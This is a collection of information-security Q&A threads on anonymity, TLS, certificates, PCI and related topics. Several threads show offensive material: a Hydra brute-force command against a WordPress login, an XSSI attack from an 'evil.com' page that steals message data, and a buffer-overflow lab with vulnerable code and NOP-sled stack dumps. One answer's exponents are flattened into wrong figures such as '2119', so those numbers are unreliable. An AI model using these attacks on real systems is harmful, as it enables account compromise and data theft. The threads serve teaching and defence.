VPNs and anonymity networks do not (and usually can not) do anything about your browser fingerprint. You can reduce tracking, but not defeat tracking.

Here's one simple scenario to consider. Every time you browse the web without an anonymity network, the browser fingerprint is sent out there from your real IP. The fingerprint-IP pair can be recorded. If you browse the web with an anonymity network later, your browser fingerprint stays the same - others can still recognize you. Moreover, they may have your real IP address recorded. You're no longer anonymous.

It's enough to go online without an anonymity network just once to blow your cover, both in the past and future, forever (until you significantly change your software setup).

So remember you're being tracked, and NEVER EVER use the same web browser with and without an anonymity network.

In fact, this is not limited to web browsers. Other applications may have a fingerprint too (e.g. BitTorrent clients do), but they are not researched as thoroughly as web browsers were. If you're going to use an application via an anonymity network, be cautious about its setup and make sure it goes into the anonymity network right away, without contacting with the "non-anonymous" Internet even once. Otherwise your attempts at anonymity are in vain.

To avoid disclosing your IP by fingerprinting and not bother remembering which app should be anonymous and which should not (while every mistake is grave), I recommend running anonymity-oriented Linux distros, like Tails or Liberté. This way you'll be sure which programs are anonymous and which are not, and they won't be able to leak their fingerprints into the "non-anonymous" Internet because these distros explicitly prohibit any non-anonymous communications. It's possible to run them in a VM, but better do on a dedicated machine to avoid hardware-based fingerpriting and use better random number generators.

Finally, tracking may be not application- or instance-specific; user accounts on websites uniquely identify you (duh). If you want to stay anonymous, you have to access your user accounts via an anonymity network either always or never. The easiest way to do this is to establish a different identity for anonymous browsing.

Control your data online

Remember, you are tracked. You can reduce tracking, but not defeat tracking. And you leave a lot of info about yourself as you browse, from what your interests are to what places you visit to where you live. For example, search engine history tells a lot about you and sometimes can uniquely identify you. Some other websites collect A LOT of info about you or force you to disclose it, and what's worse, they often disclose it to third parties.

For a start, use an anonymous search engine: ixquick, startpage.com (anonymous Google with slightly outdated data), DuckDuckGo or run a local seeks instance to be sure. There are some search engines available inside I2P network too.

Social networks are evil. You can either not use them altogether or own your data by using Diaspora.

Online map services are not necessarily evil, but they get important info about you. I'm not aware of any anonymous map services, but of course I recommend avoiding Google Maps. Perhaps OpenStreetMap tracks less or doesn't track, but I haven't checked.

Same goes for email, IM, etc. Communicate via SSL'd and non-logged email and IM or use end-to-end encryption via a web of trust.

Finally, try to reduce tracking. Use a browser that supports DoNotTrack HTTP header and enable DoNotTrack headers in settings. Use some tracking-blocker browser extension. Use Mozilla Collusion to analyze and disable tracking. Use DNSCrypt if you don't want your ISP to know which websites you visit, or at least don't forget to check for DNS leaks if you're trying to use a custom DNS server without encryption. Remember you're being tracked at all times, no matter what you do to get rid of it. Read privacy policies. Be paranoid.


Recomended Nessus Windows-7 scan settings? In the Nessus FAQ it says

  Microsoft Windows desktop systems have network limitations that may
  impact the performance of Nessus. The TCP/IP stack limits the number
  of simultaneous incomplete outbound TCP connection attempts. After the
  limit is reached, subsequent connection attempts are put in a queue
  and will be resolved at a fixed rate (10 per second). If too many
  enter the queue, they may be dropped.

And the recommended settings there does not the options in Nessus 5 and I am confused about what to set in the product.

I wonder what settings you use on a Windows 7-desktop machine to make sure the scan is as reliable as possible?

this is probably referring to the maximum half-open connections limit. This shouldn't be a problem with Windows 7, as the limit was supposedly removed in Vista SP2.

You can however, check, and remove the limit if it exists.

Start regedit and locate

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\

In the right pane, locate the

  EnableConnectionRateLimiting

registry value data entry.
If “EnableConnectionRateLimiting” is not found, the half-open TCP connections limit is already removed/disabled, allowing unlimited half-open incomplete outbound connections. If the value is there, delete it - or edit it and set to zero.


Plausible deniability for phones I have sensitive data on my computers and phones. I use Trycrypt's plausible deniability system on my computers. When law enforcement/border patrol or my spouse asks for access I type in the password for the decoy system. I need this badly for my phone. Does anyone know how to install a plausible deniability system for a smart phone?

Plausible deniability is really more of a political or social tactic than a security measure. As a tactic, plausible deniabilty seeks to prevent the disclosure of information by presenting an argument about the knowledge a given individual has. This is a second order game, at least one level removed from direct protection of information.

An Example: Alice is a ruthless criminal. Bob and Don are her criminal associates. On Monday Bob is a witness to one of Alice's crimes. On Tuesday Alice and Bob have an argument. On Wednesday Bob meets with Carol and tells Carol some confidential information about Alice's activity on Monday that could be used to arrest and prosecute Alice for her crimes. On Thursday, the next time Bob and Alice meet, Alice asks Bob who he met with on Wednesday. Bob claims he met with Don, another of Alice's associates.

By naming Don instead of Carol, Bob has provided Carol plausible deniability about the information he provided to her.

If at this point Alice decided to kill anyone with information about her criminal activity on Monday, she might decided to kill Bob and Don.

How is this relevant to Truecrypt?

Truecrypt is trying to play a similar game. Rather than try to disguise the fact that a user has encrypted some information. They are giving the user two shells under which to hide information. Under shell A is confidential information the user wishes to keep private. Under shell B is information the user is willing to disclose if that disclosure keeps the information under shell A confidential.

Now the content of the information under shell B ("the decoy") is important. If nothing is kept there except freely available public domain information. The plausible deniability will not work. It will not convince anyone (law enforcement, border patrol, or spouse) that the user went to some effort to protect the information. And since the fact that Truecrypt offers 'Plausible deniability' as a feature is well known, most professional phone inspectors will know that what you have presented is a 'decoy'.

Further notice that this tactic depends entirely on the inspector deciding that it is not plausible you have the information they are seeking and as a consequence do not pursue them further.

Lets go back to the criminal Alice from the first example. Lets say she decides not to believe Bob about who Bob met with on Wednesday. Suppose that Alice knows that Bob is friends with Carol and decided to kill Carol just in case Bob told Carol the incriminating information. At this point the plausible deniability tactic's value goes to zero as the recipient of the tactic uses possible instead of plausible as the discriminator for the decision to take action.

That means that this tactic only works against those whose decisions for action are evaluated based on plausible evidence. And most persons who are not under the instruction of a magistrate have a much lower threshold for suspecting guilt.


What are concerns with storing passwords in a restricted public folder on exchange? Is it safe to store data such as account log-in information (for vendor websites, not administrative accounts), settings policies, activation documentation, and operating system keys in a public folder on microsoft exchange and setting the permissions for only members of a specific security group are allowed to add/edit/view the posts?

I find the following two benefits:
The exchange server is incrementally backed up every hour and sent off site at night, so in a disaster once the restore is complete the documentation is still available.

Users can update, post, and read as needed on the flow from OWA or outlook.

But I am not aware of security risks I may be presenting.

You'd have to consider the benefits to your approach as well as drawbacks and compare it with other alternatives to make an informed decision.

a few pointers:

Who is managing those public folders / exchange? Those users might not need to have access to those settings/accounts, but since it's their job to manage the exchange server, they now also have access to those details.
What happens if an employee leaves their desktop unlocked and walks away for a short while? or if somebody is looking over their screen when this mailbox is open (those passwords won't be masked in any way)
Is there any audit trail of who's accessing this data, or making changes to it? (even by mistake)
What happens when one of the users leave the company (or gets fired)? How quickly/effectively can you change the passwords?
Is there any regulation/standard that your company must comply with that prevents storing passwords in plain-text?

My personal preference is using some kind of a password manager. There are several reliable solutions to help manage shared accounts/passwords. Have a search online for "online password manager" or something similar and I'm sure you'll find a few. There are free, open source and commercial ones, self-hosted or offered as a service. You can pick and choose the best one for you. Generally speaking, they take security much more seriously, since that's their core function. They offer protection against some of those drawbacks I mentioned, and probably others I didn't. Some might not even require you to make your own backups, and will do it for you, or will keep track of changes etc.

That said, there's no absolute right or wrong. If those passwords and data aren't really very sensitive it's possible that the built-in security offered by the Exchange shared mailbox is good-enough for your needs.


how to configure edit-restricted mediawiki I am planning to setup a public wiki using mediawiki, but I never used mediawiki for a public site before and I am not experienced with it, even as a user.

I am planning to create a very restricted wiki setup with restricted account creation and editing only by registered users, but content open to the public.  So I am planning to do the following :

 add a UserLoadFromSession hook to allow automatic logon to the wiki if the user is already authenticated (the wiki will be a part of an existing site, the site already contains a user database and login form. I want to disable all user management related functionality of mediawiki)

 remove several special pages by adding a SpecialPage_initList hook (do I need to do something else to prevent access to related functionality, for example list of users?)

disable all kinds of file uploads or external content ($wgEnableUploads=false, $wgAllowCopyUploads=false, $wgAllowExternalImages=false, $wgAllowImageTag=false, $wgRawHtml=false etc )

 hide all private user information, like IP addresses, watchlists etc, except usernames. ($wgPageShowWatchingUsers=false, $wgShowIPinHeader=false,$wgAllowPageInfo=false, $wgRCShowWatchingUsers=false, $wgAllowUserCssPrefs=false)

 disable all functionality that involve sending emails ($wgEnableEmail=false, $wgEnableUserEmail=false, $wgEmailAuthentication=false)

 disable all unnecessary features like api, feeds, ajax, suggestions etc ($wgEnableAPI=false, $wgEnableWriteAPI=false,  $wgDisableAnonTalk=true, $wgFeed=false, $wgUseAjax=false, $wgUseTrackbacks=false etc)

My question is : am I missing something,  do I need to do anything else to secure the wiki?

Thanks

Sorry for being the downer, some of MediaWiki's security pages are rife with warnings

"MediaWiki is not designed to be a CMS, or to protect sensitive data. To the contrary, it was designed to be as open as possible. Thus it does not inherently support full featured, air-tight protection of private content. But with the massive increase of MediaWiki use in corporate intranets and the many CMS-like features emerging, demand for tighter security is emerging.
To help authors of security extensions, this list of the security flaws found in the field is being maintained, so that they can test their extension against each. There are several extensions that claim to give selective read/write access to pages in Category:Page specific user rights extensions, and currently most of these do exhibit several of the listed flaws."

I don't know if that affects your actions, but I remember seeing all sorts of warning when locking down my internal mediawiki.


Should I disable TLS 1.0 on my servers? The PCI Data Security Standard 3.1 recommends disabling "early TLS" along with SSL:

  SSL and early TLS are not considered strong cryptography and cannot be used as a security control after June 30, 2016.

The Migrating from SSL and Early TLS supplement states:

  The best response is to disable SSL entirely and migrate to a more modern encryption protocol, which at the time of publication is a minimum of TLS v1.1, although entities are strongly encouraged to consider TLS v1.2.

I have a few questions regarding the deprecation of TLS 1.0:

What is the reason for this recommendation?  Are there known vulnerabilities with the TLS 1.0 protocol?  (I'm aware that some faulty TLS implementations are vulnerable to POODLE but a SSL Labs scan indicated that my site was not vulnerable.)
Is it necessary/desirable to apply this standard to web applications using HTTPS that are not handling credit card information?
Is disabling TLS 1.0 and restricting to TLS 1.1 or 1.2 on public-facing websites using HTTPS likely to break browser compatibility for a significant proportion of users?

TLS 1.0 when properly configured has no known security vulnerabilities.  Newer protocols are better designed and better address the potential for new vulnerabilities.  So that's why

I wouldn't personally recommend disabling TLS 1.0, primarily because IE 7-10 don't support TLS 1.1 out of the box.  In January 2020, IE10 has gone EOL, so I expect it's likely now a good idea to disable TLS 1.0 since there's likely little/no traffic from such an old browser.  If you look carefully at the support matrix at: https://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers you'll see that TLS 1.1 is disabled by default on everything but IE 11.

Most people have a significant amount of traffic on these browsers, and your website suddenly not working would pose a significant business impact.  Many people here will advocate a single minded approach of "Security above all else", and tell you to strongly advocate for disabling TLS 1.0.  I'm of the belief that security needs to be balanced with business needs, and it's the job of the security professional to understand both the security side, and the impact of changes.  As of 2020, the general principle here still applies, but the tradeoffs have moved towards disabling TLS1.0 in most circumstances.  There may still be some special circumstances of old, embedded devices where you might be able to justify keeping TLS1.0 enabled.

In 2020, there's little reason to keep TLS1.0 around, at least for browsers as the client.  You obviously need to test the impact of this on the stock browser config, and understand how much business you may or may not lose from this change.


How to view last run shell command via cmd.exe through a HKEY_CURRENT_USER.reg file? I'm working on improving my security skills and a challenge I have is a .reg file which is HKEY_CURRENT_USER. I need to find what the last run command on the box was.

Not possible. cmd.exe does not save history on the registry or a log file.

Open cmd.exe and press Up. What shows up? Nothing. That's because there's no history...


Getting error in Hydra I'm trying to test someones website for them and I'm using hydra in cygwin on Windows. When I enter:

hydra -L myusers.txt -P mypass.txt website.net  http-get-form \
  "/wp-login.php:user_login=^USER^&user_pass=^PASS^"

(also tried with IP address)

I get the error:

Wrong syntax, requires three arguements seperated by a colon which
may not be null: /wp-login.php

Can anyone help me? Thanks.

You need to supply the text that's returned upon an incorrect response.

From hydra -U http-get-form:

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]

"Condition string" needs to be populated. This is something the site returns when the password is wrong and is site specific. e.g. "Incorrect password".


SSH Server Authentication I know this question was asked several times in several ways, for example:

  Can an SSH server fingerprint be spoofed?

  What stops an SSH server from MITMing logins?

However, none provided the answer I was hoping to find (I think...).

I'm working with a specific cloud provider where I generate a private/public key for SSH authentication .
I upload the public key to the cloud instances store the private key on the client side.
When I want to SSH to the cloud instances, I use the private key to open the SSH connection. By doing so, the server authenticates the client.

What prevents from a MITM attacker, that knows the public key to hijack my connection and spoof the server? All he needs is the public key, right?

I don't understand how the fingerprint validation helps in this case.
Unless, there is another pair of public/private keys which can be used solely for the purpose of the server's authentication by the client.

Thanks

Short answer: No. The attacker needs the private key too.

The SSH protocol uses encryption to secure the transmission. So, it will employ a public and private key. It's possible to someone to send you a spoofed public key, but without the corresponding private key, they will not be able to decrypt the communication, the handshake will fail and your client will disconnect.

But if the attacker have both the public and private keys, they can intercept every communication between you and the server.


Why do we allow SSL certificates to be replaced before their expiry date, without revokation of others? Imagine a situation where a rogue CA creates a certificate for your site. Since the user's browser trusts the CA, it will accept the certificate without any fuss. However, the site's real certificate doesn't expire for another year, and there's no CRL entry for it.

Why do we allow the browser to accept such a situation? Surely it would make more sense to enforce that the first certificate, and only that certificate, is accepted until it expires or it is explicitly revoked.

There are several normal situations which would entail the existence of several simultaneously valid certificates for a given SSL server:

The server has several front-ends, each having its own private key and certificate, though all certificates contain the server name. Having a per-system private key is a good idea because it avoids moving private keys around, and moving private keys is rarely a good idea.
The private key was lost, but not compromised or stolen; e.g. the machine was destroyed in a fire. A new certificate should be issued for the new server key, but there is no point in revoking the old certificate (see below).
A server certificate will soon expire; a new one is issued. There shall be some overlap during which both certificates are valid, so that the transition can be enacted without any downtime.

Conceptually, the X.509 model is one of positive assertions of local properties. An X.509 certificate says "this key is owned by that entity". There is nothing in X.509 which says "that entity has only x active certificates"; this is not part of the properties that X.509 tries to maintain, and it would actually be impossible to enforce, because nothing would prevent me from building my own CA and issuing certificates for other people. I mean, if I find a certificate issued by some CA, then I can extract the certificate contents and put that in a new certificates which I can sign. I thus can arbitrarily make thousands of new certificates for any server I wish -- and that's not even "wrong" because I am not writing any fake assertion in any of these certificates.

Correspondingly, CRL are not designed to be a way to publish information about any list of "active certificates". A certificate is revoked not because it will no longer be used by the owner, but because verifiers must no longer accept it, which is a very different thing. You do not revoke a certificate when the private key is destroyed; you revoke it when you suspect that the private key is in the wrong hands.

That X.509 might not be the exact right model for HTTPS servers on the global Web is a valid point. That's the gist of Convergence: replacing the X.509 model (positive assertions trickling from trusted authorities) with another model where servers have some contextual state and, in particular, don't switch certificates every five minutes. With X.509, a given SSL server could perfectly have one million valid certificates at the same time, and use a randomly chosen one for each connection; X.509 validation is totally up to it. But "normal HTTPS servers don't do that" and Convergence tries to milk extra security out of that idea of "normal servers".


Source code scanning - PCI Requirement - Service Provider I've been doing a lot of research regarding the requirements for source code scanning but haven't found anything conclusive when it comes to my question below. So I need some guidance from PCI Experts here in StackExchange's Info Sec community.

Is a service provider using an in-house custom built payment application (not PA DSS) required to use a tool like HP Fortify SCA to scan it's source code? Or can they comply by simply doing manual code reviews for any and all codebases they have? If they can get away by doing manual code reviews, how does OWASP Top 10 comes in to play?

Keep in mind, they do not have WAF in place.

Ref: https://www.pcisecuritystandards.org/pdfs/infosupp_6_6_applicationfirewalls_codereviews.pdf

Scanning versus Manual Code Reviews

Custom built, in-house software is in-scope for PCI compliance if it deals with PAN data.  The PCI DSS, Requirement 6.6 expresses two options for in-house developers of software that handles PAN data: You can either do code reviews, or implement a web application firewall (WAF).  Of course, it specifies the nature of the options for code reviews or WAF and the minimum standards for compliance when using either option.

So, one can elect to utilize either the code review route, or do the web application firewall route in order to achieve compliance.

Code Reviews

The PCI DSS states that four options are available for compliant code reviews:

  Manual review of application source code
  Proper use of automated application source code analyzer (scanning) tools
  Manual web application security vulnerability assessment
  Proper use of automated web application security vulnerability assessment
  (scanning) tools

Therefore, a 'manual' review process (that you describe) is sufficient so long as that it covers the requirements mentioned further in the PCI DSS Section 6.6., notably that it is done by someone qualified and incorporated into the SDLC.

Of course, one may elect to use an automated tool as well; so long as that tool also works to satisfy the requirements.  Many organizations will choose to use a mixture of both automated and manual reviews, which will provide more real-world security than simply being good enough for compliance.

OWASP Top 10

The mention of OWASP Top 10 is geared towards the second option, Application Level Firewalls.  The PCI DSS states that as one of the requirements for a web application firewall to be considered compliant, it must:

  React appropriately (defined by active policy or rules) to threats against relevant
  vulnerabilities as identified, at a minimum, in the OWASP Top Ten and/or PCI
  DSS Requirement 6.5.

If you are doing the "Option 1" code review route, then you need not concern yourself with the WAF material to maintain compliance.

However, many organizations will choose to use both "Option 1" code reviews and implement a web application firewall, which will increase the organization's security considerably -- so the options are not mutually exclusive.  It's just that selection of one option is good enough, for now, to achieve compliance.

Compliant Doesn't Always Mean Secure

It is up to you to determine whether or not "compliant" is enough to be "secure" and what the risks of a breach are in your software, and as such, how much resources should be invested into securing it properly.


Could the use of Cloudflare's free SSL feature result in loss of availability? When using Cloudflare's free shared SSL feature, the certificate for your website is shared with dozens of others websites via the use of SANs (Subject Alternate Names).

Of course some of these websites may be malicious, contain adult content, be politically extreme, etc, which could result in guilt by association by an over-zealous internet censor.

Is this a realistic and common threat, where by your website gets blocked by corporate proxies, school web filters, etc just because it shares a SAN with a bad website? Or are censors designed to ignore these associations due to the wide use of services such as Cloudflare where SANs are used in this way.

This question addresses some of the confidentiality and integrity concerns, but my question is specifically about availability.

Naomi Wu (aka @RealSexyCyborg on Twitter) is dealing with almost this exact issue right now.  After being deplatformed without recourse by her previous funding site, she moved to a funding site that promised not to censor based on content.  Of course the site has attracted other clientele that is actively trying to avoid censorship, which includes several politically extreme groups and hate groups, and of course adult sites.  The funding site's very existence is now being threatened primarily due to the hate groups using it, and she's likely to be shut out again.

I would recommend minimizing the ways in which your site's name is associated in any way with any site names that are not under your control.  Even the most innocuous of neighboring sites may turn out to be poorly managed, and later taken over by hackers or spammers.  This certainly can blow back on you.


GPG encryption and signing Why don't the commands

gpg2 --armor --sign file.txt

and

gpg2 --clearsign file.txt

have the same output?

Also when I use just --sign I get a bunch of binary gibberish surrounding the message in plaintext, however using the options --armor --sign spits out ASCII text with no plaintext message.

What's going in the background here?

With --sign, the message data is encapsulated in a container which also includes the signature value. The container formally consists in bytes, which cannot all be mapped to printable characters: that's your "binary gibberish surrounding the message". This "container" is what is described in RFC 4880. By using --armor, you instruct GnuPG to apply Base64 encoding on all these bytes (the complete container, including the contained data) into printable characters. The result is indeed in ASCII (that's the point of Base64), but not immediately readable by a human being: with Base64, any three bytes become four characters.

With --clearsign, the message data is not encapsulated in the same kind of container. Instead, it is an ASCII-based container, which consists in:

A header line (-----BEGIN PGP SIGNED MESSAGE-----).
The (mostly) unmodified message data (end-of-line characters are normalized).
The cryptographic signature itself, which is binary, then encoded in Base64 and equipped with distinctive header lines.

The --clearsign option is similar to computing a "detached" signature (a signature object which does not contain a copy of the signed data), then gluing the signature to the original message with some ASCII-compatible headers, so that the original message remains readable to the naked eye. This is the mode recommended for unencrypted, signed emails, so that recipients who do not know or care about PGP can still read the emails.


What are OpenID scopes and claims? I need to implement SSO on our web API and I was reading about OpenID and IdentityServer. This is my first connection with SSO, OAuth and OpenID.

In the presentation movies I heard a lot about scopes and claims, but the presenter never explained what each one of these actually means. I went to the official site and searched there, but I didn't find a definition of the terms.

So, what exactly is a scope and what is a claim?

Claims are specific attributes about a user. Wiki defines it as "A claim is a statement that one subject, such as a person or organization, makes about itself or another subject. For example, the statement can be about a name, group, buying preference, ethnicity, privilege, association or capability. ".

Source: Wiki

A scope is an indication by the client that it wants to access some resource, your server may allow or reject this. Oracle - Oauth Scopes

To provide an example, in your application your user may have a name, email and company name - these are your claims. That client may request access to your Admin controller of your Web API, this would be a scope. In an SSO environment, it could be some other application in its own right such as another API.

Google use scopes to control access to data transfer / analytics / ads APIs
Google Oauth Docs


What are the odds of brute-forcing an archive with 256-bit encryption? I have a file (a stand-alone archive).  I lost the password to it, but it has been encrypted using 256-bit encryption.  The password is some 20-odd characters long (including non-alphanumeric characters).

What are the odds I can brute-force it?

The archive in question was created with WinAce and sports the obscure extension *.xef.  However, general answers are also welcome.

Brute forcing means "attacking the system with all the subtlety of a slow-witted gorilla". Here, it means trying out all possible passwords of "20-odd characters". Even if you limited yourself to alphanumeric characters (26 lowercase letters, 26 uppercase, and 10 digits), that's 6220 possibilities, i.e. close to 2119. Then it depends on how much costs each try. If the password derivation scheme used by your system is good, it will use many nested invocations of some one-way function, meaning that each try will need, say, one billion clock cycles. If the password derivation scheme is bad, it will need less, possibly down to a few dozen cycles (with AES encryption and the hardware support offered by the recent Intel processors). Assuming your processor runs at 3 GHz and has four cores, you might hope to try, say, up to 230 passwords per second (but, realistically, you won't). So you would be done in a mere ten billions of billions of years.

Let's face it: even if your real name is Barack Obama, 2119 is way above your league.

So your best chance is to do a non-brutal attack: one in which you first try to establish a list of possible passwords that you could have chosen (possibly a large list containing thousands or even millions of passwords, but not 2119).


How can I get dynamic JavaScript from a web page? I am trying to understand Cross Site Script Inclusion (XSSI) attacks. For this, I have read the recent paper about this kind of attack.

Now my main focus is on detecting dynamic javascript files from the targeted web page.

What I want to know is, is it really possible to get a different script by hitting the same script source twice (once with cookies, once without cookies)? Or am I misunderstanding the paper? So far I have tested several web pages and found no such case.

Any example dataset or any example JS that returns different output based on authentication cookies will be helpful for me.

The theory
99.9% of all JavaScript that is served on the web is static, e.g. the same no matter what values any cookies has or anything else. It's just a file that is served as-is from the server, just like say an ordinary JPG image.
For a few cases, though, the JavaScript might be generated dynamically (using a language like PHP), and a request could yield different results if it is made with or without cookies. In these rare cases there might be an XSSI vulnerability.
Generating dynamic JavaScript is a horrible design practise and not something you would expect well trained developers to do. So don't expect to find vulnerabilities like this easily. But sure, they are out there, somewhere... But if I knew where to find them, I would not be telling you - I would be disclosing  the vulnerabilities responsibly to the owners of the sites.
An example
Let's say I am writing a webpage where users can pass secret messages to each other, hosted at secretmessage.com. The webpage checks for new messages by loading new_messages.js from the server. The content of that file is generated with PHP like this (note that the result will look different depending on the cookies in the request):
<?
session_start();
$user_id = $_SESSION["user_id"];
?>
var latestMessage = "<?= $database->getLatestMessage($user_id); ?>";

Running that script will put the latest message for the user making the request into a JS variable, that I then can convinently output somewhere. Great, isn't it? Well, no...
Now imagine the evil attacker creates a page (http://evil.com) that includes http://secretmessages.com/new_messages.js in a script tag. The browser will dutifully request the new_messages.js from secretmessages.com with cookies and all, including the session cookie. The content of latestMessage will then be readable from the code on evil.com. So all the attacker has to do to read peoples secret messages is to trick them into visiting evil.com.


SCADA / PLC exploit code was released in metasploit. Now what? Wired reports that there are many security issues with Programmable Logic Controllers (PLCs) and now there is an easy to use tool to scan and detect vulnerabilities.

  They say it's so easy, the update for Metasploit make it analogous to Firesheep for PLCs.

What must IT shops do to prevent attack?
If the PLC controllers are not on the network, or are isolated, should we still be concerned?
If an IT shop has no PLCs in the course of business (manufacturing, etc), are the HVAC systems of the datacenter or door/access control systems vulnerable?

This just brings into the public eye something which has been happening for ages: everything is vulnerable. SCADA kit used to be safer as it generally wasn't connected directly to public networks and was considered obscure, however the targets are juicy, and the security levels generally pitifully low so attackers have always researched ways to exploit them.

The broad concepts to prevent attack are the same as for anything else

segregate networks with access control devices (routers, firewalls etc)
secure communication links (encryption, authentication, and yes, removable media!)
harden platforms and applications
review code
penetration testing

In respect to your sub-questions:

if the PLC's are not connected (and you can confirm this) then they can't be attacked through a connection. However most are connected through some type of link, so assume that link is the attack conduit
PLC's are a specific area for this Metasploit update, however you should generally assume any system has vulnerabilities and plan accordingly based on your risk appetite.


Buffer Overflow - Find address of shellcode I've been working on Buffer-Overflow Vulnerability Lab from SEED (Lab Description and Tasks). The environment is Ubuntu 12.04 32 bit. Please consider the following code:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
 int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

I found that in order to overwrite the return address we would have to overwrite the array starting from 36th place because we would have to jump 24 bytes (the size of the array) plus 4 bytes (for the previous frame pointer) plus 8 bytes for the some compiler data (not specified for what purpose). I calculated this with the difference of the EBP and the address of the buffer (using the debugger).

I realized that in order to jump to the malicious code we can jump to any address on the NOP sled. For a sufficiently large value the attack succeeded. I tried to calculate the minimum possible address. The logic (and the lecturer) said it was EBP + 8 because we wanted to pass both the return address and the previous frame pointer (4 bytes each). Unfortunately the attack did not succeed when I tried to run it with that value. I found through an exhaustive search that the minimum possible address is 0xBFFFF168, which is EBP + 48, and I do not understand why.
I even tried to run the attack without the NOP sled and encountered problems.

Can someone please explain?
Below there is a description of the stack before and after the overrun and some additional values.

Thank you very much in advance.

14        strcpy(buffer, str);
(gdb) x/20x $sp
0xbffff100:    0x0804b008    0xbffff157    0x00000205    0xb7e34374
0xbffff110:    0xb7fc4ff4    0xb7fc4ff4    0x00000000    0xb7e1f900
0xbffff120:    0xbffff368    0xb7ff26b0    0x0804b008    0xb7fc4ff4
0xbffff130:    0x00000000    0x00000000    0xbffff368    0x080484ff
0xbffff140:    0xbffff157    0x00000001    0x00000205    0x0804b008
(gdb) next
16        return 1;
(gdb) x/20x $sp
0xbffff100:    0xbffff118    0xbffff157    0x00000205    0xb7e34374
0xbffff110:    0xb7fc4ff4    0xb7fc4ff4    0x90909090    0x90909090
0xbffff120:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff130:    0x90909090    0x90909090    0x90909090    0xbffff168
0xbffff140:    0x90909090    0x90909090    0x90909090    0x90909090
(gdb) p &buffer
$1 = (char (*)[24]) 0xbffff118
(gdb) p $ebp
$2 = (void *) 0xbffff138
(gdb) p $sp
$3 = (void *) 0xbffff100

The actual size of the stack depends greatly on compiler optimizations, and be affected by the presence of the debugger. In this case, minimizing the stack to ebp+8 isn't necessary, so I wouldn't overthink it.

Keep in mind that counting on stack organization to be the same run to run isn't a realistic exploit scenario anymore. In more realistic scenarios, you will be tasked with bypassing Nxbit/dep and ASLR, so counting on your exploit code to be somewhere in particular you can jump to wont cut it anyway.

If you want a NOP-sled free version of the attack, I would instead focus on finding a way to disclose an address without crashing the program. In such a small example, that may not be possible.


Secure communication between applications using SSL Certificates I am looking for a way how to secure communication between our applications. There is a "server" application listening on some TCP port and "client" application which is communicating with the "server". Both applications are actually installed on some server, there can be multiple load-balanced instances of these applications.

Is using SSL certificates the right way so that the "server" can be absolutely sure that the communication is coming from the "client" application? How does it work - should every application have its own certificate? Where are the certificates stored? If you have some resource where similar solution is discussed, I'll appreciate it.

I like the answer from this.josh, but there was a couple of points I wanted to add:

TLS does not use the certificate for protecting the channel - that is done by a negotiated symmetric key.  TLS uses certificates (server or client) authentication and key encipherment.
I agree that a certificate used for encryption should not be the same as the certificate used for authentication - however, in this case, I think it's safe to say the certificate used for TLS is used for authentication, not encryption.  It's true that if you dig down into it, there is key encipherment being done with the certificate, and I'm sure that if you get a high end system, you will end up with people who disagree with me on this, but it seems like overkill to go through a challenge/response protocol on top of TLS for many use cases.
implied in the previous answer, but I'll say it point blank - TLS by default is usually server authentication only.  To get client authentication, you will need to turn on a switch for that, and in the process you'll specify:

what credentials are OK for client auth - for example digital certificates.
what to do to check the credential - for example, verify against a trusted Certificate Authority that signed the certificate, and verify against an OCSP or CRL source for certificate status - this is a whole area on PKI, and I think if you dig in this Stack Exchange you'll find more on this.

In general, checking all factors of a provided certificate on both the client and the server is the best path to the assurance that the entity connecting to this channel is the entity it says it is.  Typical mechanisms include:

Trusted signer - certificates are generally signed by a Certificate Authority (CA).  That Certificate Authority is trusted to verify the requestor prior to certificate issuance.  Most systems that have a widely distributed need for trust, trust a set of CAs to issue credentials.  They do this by keeping a set of CA certificates on hand, so that when an end entity shows up with a trusted CA signed certificate, they can check that one of the approved (known) CAs signed the cert.
Status - when a CA signs a cert, it also takes responsibility for keeping the status up to date - it does this by issuing CRLs (Certificate revocation lists) which may or may not be rendered via OCSP (a request/response protocol) for fast querying.  Then endpoints verify the status of the certificate, when it's received, to make sure that the certificate is still valid according to its issuing CA.
Self signed certificates - if a certificate isn't signed by a CA, it's self-signed.  This it the super-cheap way to do it, but it makes configuration a bear.  Self-signed certificates assert their own goodness, so the party (application) verifying it has to manually trust each self-signed certificate individually by keeping a copy of each certificate on hand.  Cheap, and good enough if you have a very small installation, but it scales abysmally.
Validity - in all cases, certificates are valid from a start date to an end date, and should be reviewed to make sure of current validity.

Authentication v. Authorization
Authentication - is the entity who it says it is?  This is true as long as the credential is a valid proof of identity.  Even if I'm 16, my driver's license is valid if it was properly issued by my state of residence.  It doesn't mean I'm authorized to buy liquor, however (if I live in the U.S., at least, I have to be 21).
Authorization is the entity allowed to do what it wants to do?  I'm authorized to buy liquor if I'm over 21.  Technically, my over-21ness is all I need, but I prove that with authentication - my driver's license or passport or state issued id.
It sounds like you want both.  You want each side to prove its identity (authentication) and be of a certain restricted group (created by your company).  So you need more than just TLS client authentication - you need some added way of checking criteria to verify authorization.
I can think of a couple ways to approach that:

set up a trusted users list - with PKI, the typical way is a list of subject DNs (distinguished names) for each client or server.  The scalability is directly related to where you store this list - a public store - like an LDAP server - is a good bet, so that all servers can check a common location.

make sure there be a quality in your certificates - the organization value in a DN comes to mind - it's typically the value that describes the organization the entity comes from.  For example, my personal digital certificates have my company's name as the "O" value because my company paid for me to get them.  You can then construct some added code (or in a very smart server, you can just configure it...) to check that "O=your company" - and you're good - so long as you can assure that no one else can make certificates with your company's name in the "O" value.  One way to do that is some of the higher end commercial certificate authorities, where you set up an agreement and an account with that CA provider, and you have an appointed approval person in your company to do the paperwork.  That person certifies that each request for a certificate comes from your company before the CA will make a certificate.  You can do the same thing running your own CA - essentially you're trading off time vs. money.

